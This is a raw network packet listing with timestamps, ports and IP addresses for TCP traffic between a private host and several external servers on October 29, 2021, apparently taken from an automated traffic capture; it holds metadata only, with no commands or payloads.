Oct 29, 2021 15:30:59.491883039 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.491903067 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.491919994 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.491938114 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.491955996 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.492047071 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.492161036 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.492201090 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.492243052 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.492316961 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.492335081 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.492352009 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.492369890 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.492387056 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.492459059 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.492477894 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.492495060 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.492512941 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.492532015 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.492609978 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.492641926 CEST	80	49841	194.180.174.181	192.168.2.7
Oct 29, 2021 15:30:59.495023966 CEST	49841	80	192.168.2.7	194.180.174.181
Oct 29, 2021 15:31:00.922673941 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:00.986352921 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:00.986515999 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:00.986670971 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:00.986732960 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:01.050153971 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:01.050225019 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:01.159110069 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:01.168992996 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:01.169058084 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:01.233088017 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:01.233135939 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:01.354032993 CEST	80	49842	45.141.84.21	192.168.2.7
Oct 29, 2021 15:31:01.404372931 CEST	49842	80	192.168.2.7	45.141.84.21
Oct 29, 2021 15:31:01.546838045 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:01.818813086 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:01.819416046 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:01.819534063 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:01.984052896 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:02.008584976 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:02.008730888 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:02.290954113 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:02.575681925 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:02.600567102 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:02.654464960 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:02.950856924 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:02.950882912 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:02.950958014 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:03.222798109 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:03.222821951 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:03.222837925 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:03.222855091 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:03.222906113 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:03.222953081 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:03.494707108 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:03.494764090 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:03.494827986 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:03.494831085 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:03.494884014 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:03.494925022 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:03.494962931 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:03.494992018 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:03.495002031 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:03.495007038 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:03.495043039 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:03.495208979 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:03.766843081 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:03.766882896 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:03.766904116 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:03.766927004 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:03.766947031 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:03.766968966 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:03.766993046 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:03.767007113 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:03.767014980 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:03.767025948 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:03.767036915 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:03.767060995 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:03.767081022 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:03.767102003 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:03.767103910 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:03.767110109 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:03.767121077 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:03.770661116 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:03.811019897 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.043097019 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043150902 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043175936 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043198109 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043235064 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043255091 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043277025 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043298960 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043320894 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043344021 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043365002 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043385029 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.043387890 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043405056 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.043409109 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.043414116 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043437958 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043443918 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.043462992 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043486118 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043509007 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043531895 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043545008 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.043549061 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.043554068 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043579102 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043602943 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043621063 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.043625116 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043627024 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.043648958 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043673038 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043693066 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043710947 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.043715954 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043716908 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.043740034 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043762922 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.043814898 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.043821096 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.315501928 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.315542936 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.315565109 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.315586090 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.315608025 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.315628052 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.315649033 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.315670967 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.315690994 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.315711975 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.315732002 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.315757990 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.315772057 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.315782070 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.315804005 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.315804005 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.315809965 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.315820932 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.315828085 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.315850019 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.315871000 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.315891981 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.315897942 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.315907955 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.315913916 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.315934896 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.315954924 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.315977097 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.315998077 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.315999031 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.316006899 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.316020966 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.316040993 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.316059113 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.316061974 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.316066980 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.316083908 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.316103935 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.316118956 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.316147089 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.316157103 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.337891102 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.337919950 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.337949991 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.337964058 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.337984085 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.338006020 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.338036060 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.338047981 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.338053942 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.338063955 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.338089943 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.338110924 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.338141918 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.338155985 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.338162899 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.338171005 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.338202000 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.338227034 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.338249922 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.338270903 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.338272095 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.338275909 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.338294029 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.338315010 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.338339090 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.338351011 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.338355064 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.338361979 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.338382959 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.338551044 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.588073015 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588115931 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588139057 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588161945 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588185072 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588206053 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588207006 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.588228941 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.588243008 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588267088 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588289022 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588310957 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588320971 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.588326931 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.588336945 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588360071 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588383913 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588407040 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588423967 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.588428974 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588430882 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.588455915 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588480949 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588491917 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.588498116 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.588506937 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588534117 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588560104 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588583946 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588597059 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.588602066 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.588609934 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588634014 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588659048 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588682890 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588704109 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.588706970 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588711023 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.588732004 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588754892 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.588870049 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.590603113 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.610340118 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.610375881 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.610702038 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.628776073 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.628833055 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.628896952 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.628925085 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.628946066 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.628976107 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.629000902 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.629002094 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.629025936 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.629028082 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.629050970 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.629071951 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.629076958 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.629080057 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.629102945 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.629123926 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.629126072 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.629147053 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.629169941 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.629190922 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.629200935 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.629215002 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.629240990 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.629261971 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.629272938 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.629282951 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.629286051 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.629308939 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.629332066 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.629354000 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.629359961 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.670651913 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.809798956 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:04.835737944 CEST	28978	49844	93.115.20.139	192.168.2.7
Oct 29, 2021 15:31:04.860879898 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.860919952 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.860940933 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.860960960 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.860981941 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.861002922 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.861022949 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.861042023 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.861052990 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.861063957 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.861088037 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.861095905 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.861110926 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.861131907 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.861140013 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.861154079 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.861171007 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.861176014 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.861197948 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.861218929 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.861236095 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.861238956 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.861262083 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.861267090 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.861284971 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.861305952 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.861308098 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.861327887 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.861346960 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.861370087 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.861397982 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.889048100 CEST	49844	28978	192.168.2.7	93.115.20.139
Oct 29, 2021 15:31:04.918437004 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.918477058 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.918500900 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.918524981 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.918525934 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.918550968 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.918572903 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.918574095 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.918601036 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.918617010 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.918623924 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.918647051 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.918658972 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.918670893 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.918692112 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.918715000 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.918731928 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.918732882 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.918785095 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.918920040 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.918948889 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.918967962 CEST	49843	80	192.168.2.7	116.121.62.237
Oct 29, 2021 15:31:04.918971062 CEST	80	49843	116.121.62.237	192.168.2.7
Oct 29, 2021 15:31:04.918996096 CEST	80	49843	116.121.62.237	192.168.2.7
